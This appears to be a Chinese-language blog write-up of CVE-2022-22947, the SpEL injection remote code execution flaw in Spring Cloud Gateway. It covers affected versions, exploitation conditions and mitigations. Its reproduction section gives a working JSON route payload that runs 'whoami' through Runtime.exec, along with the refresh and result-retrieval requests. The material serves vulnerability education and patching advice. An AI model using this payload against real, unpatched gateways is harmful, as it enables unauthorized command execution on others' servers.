Spring Cloud-CVE-2022-22947

AI-摘要
GPT-4.0-turbo GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
Spring Cloud-CVE-2022-22947
Takake1.漏洞简介
CVE-2022-22947 漏洞详解
CVE-2022-22947 是 Spring Cloud Gateway 中的一个严重远程代码执行(RCE)漏洞,也称为 Spring Cloud Gateway SpEL 注入漏洞。该漏洞允许攻击者通过构造恶意的请求,利用 Spring 表达式语言(SpEL)注入,在目标服务器上执行任意代码。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及修复建议。
1. 漏洞背景
Spring Cloud Gateway 是 Spring Cloud 生态系统中的一个 API 网关,用于为微服务架构提供路由、负载均衡、安全控制等功能。该漏洞的核心问题在于 Spring Cloud Gateway 的 Actuator 端点,当该端点被启用并暴露时,攻击者可以通过发送恶意请求触发 SpEL 表达式注入,从而实现远程代码执行。
2. 漏洞原理
漏洞的核心在于 Spring Cloud Gateway 对 SpEL 表达式的处理机制:
Actuator 端点:
- Spring Boot Actuator 提供了管理和监控应用程序的功能,包括
/actuator/gateway/routes
等端点。 - 当
management.endpoint.gateway.enabled=true
且management.endpoints.web.exposure.include=gateway
时,Gateway Actuator 端点会被暴露。
- Spring Boot Actuator 提供了管理和监控应用程序的功能,包括
SpEL 注入:
- 攻击者可以通过
/actuator/gateway/routes
接口添加恶意路由,并在路由的filters
字段中嵌入 SpEL 表达式。 - 当路由被刷新(通过
/actuator/gateway/refresh
)时,Spring Cloud Gateway 会解析并执行 SpEL 表达式,导致任意代码执行。
- 攻击者可以通过
漏洞触发流程:
- 攻击者构造恶意路由,其中
filters
字段包含 SpEL 表达式(如#{T(java.lang.Runtime).getRuntime().exec("whoami")}
)。 - 发送恶意路由到
/actuator/gateway/routes/{id}
。 - 刷新路由(
/actuator/gateway/refresh
),触发 SpEL 表达式解析和执行。 - 攻击者通过
/actuator/gateway/routes/{id}
查看命令执行结果。
- 攻击者构造恶意路由,其中
3. 漏洞利用条件
受影响版本:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他不受支持的旧版本。
利用条件:
- 目标系统启用了 Spring Boot Actuator,并暴露了
/actuator/gateway
端点。 - 配置文件中满足以下条件:
1
2management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway - 攻击者能够访问目标系统的 Actuator 端点。
- 目标系统启用了 Spring Boot Actuator,并暴露了
4. 漏洞复现
以下是漏洞复现的简要步骤:
添加恶意路由:
- 发送 POST 请求到
/actuator/gateway/routes/error
,构造恶意路由:1
2
3
4
5
6
7
8
9
10
11{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
- 发送 POST 请求到
刷新路由:
- 发送 POST 请求到
/actuator/gateway/refresh
,触发 SpEL 表达式执行。
- 发送 POST 请求到
查看结果:
- 发送 GET 请求到 `/actuator/gateway/routes,查看命令执行结果。
5. 影响范围
- 受影响版本:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他不受支持的旧版本。
- 危害:
- 攻击者可以远程执行任意代码,完全控制目标服务器。
- 可能导致数据泄露、服务中断、后门植入等严重后果。
6. 修复建议
升级版本:
- 升级到 Spring Cloud Gateway 3.1.1 或更高版本。
- 升级到 Spring Cloud Gateway 3.0.7 或更高版本。
禁用 Actuator 端点:
- 如果不需要 Actuator 功能,可以通过以下配置禁用:
1
management.endpoint.gateway.enabled=false
- 如果不需要 Actuator 功能,可以通过以下配置禁用:
限制访问:
- 使用 Spring Security 对 Actuator 端点进行访问控制,仅允许可信 IP 访问。
监控和审计:
- 定期监控系统日志,检测异常访问行为。
- 使用防火墙或安全组规则限制对 Actuator 端点的访问。
7. 总结
CVE-2022-22947 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的 Actuator 端点、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。
2.复现流程
- 访问端点添加恶意路由 /actuator/gateway/routes/error
1 | { |
- 发送POST请求刷新路由,触发 SpEL 表达式执行。/actuator/gateway/refresh
- 访问路由,查看命令执行结果 /actuator/gateway/routes
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果